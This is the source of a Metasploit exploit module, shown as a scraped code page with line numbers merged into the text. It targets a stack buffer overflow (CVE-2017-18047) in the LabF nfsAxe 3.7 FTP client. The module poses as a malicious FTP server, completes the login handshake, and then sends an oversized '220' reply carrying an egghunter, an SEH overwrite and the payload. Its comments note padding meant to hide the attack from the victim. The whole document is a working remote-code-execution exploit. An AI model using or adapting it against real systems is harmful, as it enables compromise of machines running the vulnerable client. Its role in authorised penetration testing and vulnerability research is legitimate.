Path: blob/master/modules/exploits/windows/ftp/labf_nfsaxe.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Seh10include Msf::Exploit::Remote::Egghunter1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote19code execution.20},21'Author' => [22'Tulpa', # Original exploit author23'Daniel Teixeira' # MSF module author24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2017-18047' ],28[ 'EDB', '42011' ]29],30'Payload' => {31'BadChars' => "\x00\x0a\x10",32},33'Platform' => 'win',34'Targets' => [35# p/p/r in wcmpa10.dll36[ 'Windows Universal', { 'Ret' => 0x6801549F } ]37],38'Privileged' => false,39'DefaultOptions' => {40'SRVHOST' => '0.0.0.0',41},42'DisclosureDate' => '2017-05-15',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])55]56)57end5859def exploit60srv_ip_for_client = datastore['SRVHOST']61if srv_ip_for_client == '0.0.0.0'62if datastore['LHOST']63srv_ip_for_client = datastore['LHOST']64else65srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')66end67end6869srv_port = datastore['SRVPORT']7071print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")72super73end7475def on_client_connect(client)76return if ((p = regenerate_payload(client)) == nil)7778print_status("#{client.peerhost} - connected.")7980res = client.get_once.to_s.strip81print_status("#{client.peerhost} - Request: #{res}") unless res.empty?82print_status("#{client.peerhost} - Response: Sending 220 Welcome")83welcome = "220 Welcome.\r\n"84client.put(welcome)8586res = client.get_once.to_s.strip87print_status("#{client.peerhost} - Request: #{res}")88print_status("#{client.peerhost} - Response: sending 331 OK")89user = "331 OK.\r\n"90client.put(user)9192res = client.get_once.to_s.strip93print_status("#{client.peerhost} - Request: #{res}")94print_status("#{client.peerhost} - Response: Sending 230 OK")95pass = "230 OK.\r\n"96client.put(pass)97res = client.get_once.to_s.strip98print_status("#{client.peerhost} - Request: #{res}")99100eggoptions = { :checksum => true }101hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)102103# "\x20"s are used to make the attack less obvious104# on the target machine's screen.105sploit = "220 \""106sploit << "\x20" * (9833 - egg.length)107sploit << egg108sploit << generate_seh_record(target.ret)109sploit << hunter110sploit << "\x20" * (576 - hunter.length)111sploit << "\" is current directory\r\n"112113print_status("#{client.peerhost} - Request: Sending the malicious response")114client.put(sploit)115end116end117118119